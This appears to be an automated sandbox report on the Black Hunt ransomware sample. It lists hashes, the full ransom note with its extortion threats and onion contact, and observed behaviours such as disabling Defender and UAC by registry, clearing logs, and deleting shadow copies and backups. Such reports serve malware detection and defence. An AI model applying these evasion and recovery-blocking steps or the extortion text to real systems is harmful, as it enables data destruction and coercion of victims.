4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:11

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General

Target

4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Size

707KB
MD5

94bcfc87f557e0955b93dd15f79315ed
SHA1

fea243bdbecf5e0064f36845093e7c8148915186
SHA256

4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3
SHA512

d5f2cea82f44fd43baf98c8c35ae549959f0efeb277cc0f83faac1e17570814d3cb2f8fdba900d87f9078941fce77d1f5bf72d61b011f95ae16bea785010c94d
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1m86vnh:6uaTmkZJ+naie5OTamgEoKxLWtUh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> eI4xrJ1qlGqhUDjf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2696	fsutil.exe
3756	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3704	wevtutil.exe
3700	wevtutil.exe
2412	wevtutil.exe
3404	wevtutil.exe
3308	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2692	bcdedit.exe
2884	bcdedit.exe
3496	bcdedit.exe
3524	bcdedit.exe

Renames multiple (2879) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2640	wbadmin.exe
3824	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2588	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\J:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Y:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\G:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\R:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\K:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\Q:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\X:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\W:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\P:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\S:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\H:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\L:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\Z:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\T:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\U:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\O:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\V:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\B:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\N:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\M:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened (read-only)	\??\I:	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\core.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.zh_CN_5.5.0.165303.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\epl-v10.html	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\invalid32x32.gif	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\La_Paz	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_ja_4.4.0.v20140623020002.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_Private.key	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sampler.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
